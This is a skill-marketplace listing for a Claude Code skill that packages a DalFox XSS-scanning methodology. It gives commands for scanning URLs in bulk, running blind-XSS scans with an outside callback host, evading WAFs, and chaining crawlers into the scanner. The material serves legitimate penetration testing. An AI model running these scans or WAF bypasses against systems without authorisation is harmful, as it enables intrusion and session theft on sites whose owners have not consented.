mcpField
D
dalfox-xss

dalfox-xss

github.com/wgpsecSecurity1.8k43 installsUpdated 4d ago
Repository

About dalfox-xss

A DalFox-based XSS scanning methodology for web security testers, covering URL, file, and pipeline inputs. It also describes Blind XSS, WAF evasion, DOM analysis, and authenticated request configuration.

Key features

  1. 01Scan individual URLs, files, and stdin
  2. 02Run Blind XSS scans with a callback
  3. 03Enable WAF evasion
  4. 04Perform DOM analysis
  5. 05Configure cookies and custom headers
  6. 06Connect crawler and URL collection pipelines

Use cases

  1. 01Test a parameterized URL
  2. 02Scan a batch of collected URLs
  3. 03Test Blind XSS using a callback address
  4. 04Feed crawler or URL collection results into scans

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill dalfox-xss

After installing, type/dalfox-xssin Claude Code to confirm it loaded.

Details

From the project README

DalFox XSS 漏洞扫描方法论

DalFox 是专业的 XSS 漏洞扫描器。核心优势：智能参数分析（自动识别可注入参数）+ DOM 挖掘 + WAF 绕过 + Blind XSS 支持。

项目地址：https://github.com/hahwul/dalfox

Phase 1: 基本扫描

# 扫描单个 URL（含参数）
dalfox url "http://target.com/search?q=test"

# 从文件批量扫描
dalfox file urls.txt

# 从 stdin 管道
cat urls.txt | dalfox pipe

# 静默输出（只显示发现）
dalfox url "http://target.com/search?q=test" --silence

Phase 2: 高级扫描

# Blind XSS（指定回调地址）
dalfox url "http://target.com/form?input=test" \
  --blind "https://your-callback.xss.ht"

# 启用 WAF 绕过
dalfox url "http://target.com/search?q=test" --waf-evasion

# 启用 DOM 分析
dalfox url "http://target.com/page" --mining-dom

# 自定义 Payload 文件
dalfox url "http://target.com/search?q=test" \
  --custom-payload payloads.txt

# POST 请求
dalfox url "http://target.com/submit" \
  --data "name=test&comment=hello" --method POST

Phase 3: 认证和自定义

# 带 Cookie
dalfox url "http://target.com/search?q=test" \
  --cookie "session=abc123"

# 自定义 Header
dalfox url "http://target.com/search?q=test" \
  --header "Authorization: Bearer token"

# 使用代理
dalfox url "http://target.com/search?q=test" \
  --proxy http://127.0.0.1:8080

# 控制并发和延迟
dalfox url "http://target.com/search?q=test" \
  --worker 10 --delay 100

Phase 4: 管道集成

# 爬虫 → XSS 扫描
katana -u http://target.com -jc -silent | dalfox pipe --silence

# 参数发现 → XSS 扫描
cat urls.txt | gau | grep "=" | dalfox pipe --silence

# URL 收集 → 去重 → XSS 扫描
gau target.com | grep "=" | sort -u | dalfox pipe --silence

# JSON 输出
dalfox url "http://target.com/search?q=test" --format json -o results.json

常用场景速查

场景命令
单 URL 快扫dalfox url "http://target/search?q=test"
批量扫描dalfox file urls.txt --silence
Blind XSSdalfox url "URL" --blind "https://callback.xss.ht"
WAF 绕过dalfox url "URL" --waf-evasion
管道扫描cat urls.txt | dalfox pipe --silence

Comments

Markdown supported